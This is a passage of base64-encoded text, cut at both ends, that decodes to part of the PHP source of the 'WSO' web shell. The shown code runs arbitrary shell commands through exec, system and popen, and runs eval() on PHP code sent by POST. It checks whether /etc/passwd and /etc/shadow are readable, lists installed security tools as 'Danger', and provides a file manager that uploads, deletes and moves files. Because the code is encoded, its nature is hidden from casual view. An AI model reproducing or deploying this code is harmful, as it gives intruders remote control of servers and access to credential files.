gICAuICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPicgLiAkb3B0X2NoYXJzZXRzIC4gJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOw0KfQ0KDQpmdW5jdGlvbiB3c29Gb290ZXIoKSB7DQoJJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmb250IGNvbG9yPScjMjVmZjAwJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7DQogICAgZWNobyAiDQo8L2Rpdj4NCjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+DQoJPHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPg0KCQk8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+DQoJPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsNCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkge3JldHVybiBmYWxzZTt9IH0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7DQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQoNCmZ1bmN0aW9uIHdzb0V4KCRpbikgew0KCSRvdXQgPSAnJzsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCgkJQGV4ZWMoJGluLCRvdXQpOw0KCQkkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBwYXNzdGhydSgkaW4pOw0KCQkkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJQHN5c3RlbSgkaW4pOw0KCQkkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQoJCSRvdXQgPSBzaGVsbF9leGVjKCRpbik7DQoJfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgew0KCQkkb3V0ID0gIiI7DQoJCXdoaWxlKCFAZmVvZigkZikpDQoJCQkkb3V0IC49IGZyZWFkKCRmLDEwMjQpOw0KCQlwY2xvc2UoJGYpOw0KCX0NCglyZXR1cm4gJG91dDsNCn0NCmZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKSB7DQoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KCWVsc2VpZigkcyA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KCWVsc2UNCgkJcmV0dXJuICRzIC4gJyBCJzsNCn0NCg0KZnVuY3Rpb24gd3NvUGVybXMoJHApIHsNCglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7DQoJZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsNCgllbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7DQoJZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsNCgllbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7DQoJZWxzZSAkaSA9ICd1JzsNCgkkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCglyZXR1cm4gJGk7DQp9DQoNCmZ1bmN0aW9uIHdzb1Blcm1zQ29sb3IoJGYpIHsNCglpZiAoIUBpc19yZWFkYWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlDQoJCXJldHVybiAnPGZvbnQgY29sb3I9IzI1ZmYwMD4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KfQ0KDQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsNCglmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsNCgkJJGRoICA9IG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQogICAgCQkkZmlsZXNbXSA9ICRmaWxlbmFtZTsNCgkJcmV0dXJuICRmaWxlczsNCgl9DQp9DQoNCmZ1bmN0aW9uIHdzb1doaWNoKCRwKSB7DQoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsNCglpZighZW1wdHkoJHBhdGgpKQ0KCQlyZXR1cm4gJHBhdGg7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgew0KCQkkdiA9IHRyaW0oJHYpOw0KCQlpZigkdikgew0KCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7DQoJCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkNCgkJCQllY2hvICR2IC4gJzxicj4nOw0KCQkJZWxzZQ0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KCQl9DQoJfQ0KCQ0KCXdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSkNCiAgICAgICAgd3NvU2VjUGFyYW0oJ0xvYWRlZCBBcGFjaGUgbW9kdWxlcycsIGltcGxvZGUoJywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpKTsNCgl3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7DQoJd3NvU2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOw0KCXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOw0KCXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOw0KCXdzb1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsNCgkkdGVtcD1hcnJheSgpOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpDQoJCSR0ZW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkuIikiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIk1TU1FMIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiT3JhY2xlIjsNCgl3c29TZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsNCgllY2hvICc8YnI+JzsNCgkNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4Jykgew0KCQl3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOw0KCQl3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsNCgkJd3NvU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOw0KCQlpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOw0KICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQoJCQllY2hvICc8YnI+JzsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkNCgkJCQlpZih3c29XaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCXdzb1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQkkdGVtcD1hcnJheSgpOw0KCQkJZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkNCgkJCQlpZih3c29XaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCXdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIA0KCQkJCWlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOw0KCQkJd3NvU2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQllY2hvICc8YnIvPic7DQogICAgICAgICAgICB3c29TZWNQYXJhbSgnSEREIHNwYWNlJywgd3NvRXgoJ2RmIC1oJykpOw0KCQkJd3NvU2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOw0KCQl9DQoJfSBlbHNlIHsNCgkJd3NvU2VjUGFyYW0oJ09TIFZlcnNpb24nLHdzb0V4KCd2ZXInKSk7DQoJCXdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOw0KCQl3c29TZWNQYXJhbSgnVXNlciBBY2NvdW50cycsd3NvRXgoJ25ldCB1c2VyJykpOw0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCXdzb0Zvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSB0cnVlOw0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7IA0KCX0NCgl3c29IZWFkZXIoKTsNCglpZihpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSkgew0KCQllY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsNCgkJb2Jfc3RhcnQoKTsNCgkJcGhwaW5mbygpOw0KCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywnJywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KCX0NCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSBmYWxzZTsNCiAgICBlY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EoXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCgllY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7DQoJfQ0KCWVjaG8gJzwvcHJlPjwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQkJY2FzZSAndXBsb2FkRmlsZSc6DQoJCQkJaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdta2Rpcic6DQoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQ0KCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdkZWxldGUnOg0KCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KCQkJCQkkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KCQkJCQkkZGggID0gb3BlbmRpcigkcGF0aCk7DQoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7DQoJCQkJCQkkaXRlbSA9ICRwYXRoLiRpdGVtOw0KCQkJCQkJaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQoJCQkJCQkJY29udGludWU7DQoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGl0ZW0pOw0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCUBybWRpcigkcGF0aCk7DQoJCQkJfQ0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7DQoJCQkJCQlpZihpc19kaXIoJGYpKQ0KCQkJCQkJCWRlbGV0ZURpcigkZik7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkZik7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgJ3Bhc3RlJzoNCgkJCQlpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5Jykgew0KCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCgkJCQkJCWlmKGlzX2RpcigkYy4kcykpew0KCQkJCQkJCW1rZGlyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsNCgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IGVsc2VpZihpc19maWxlKCRjLiRzKSkNCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQoJCQkJCQljb3B5X3Bhc3RlKCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOwkJCQkJDQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsNCgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nL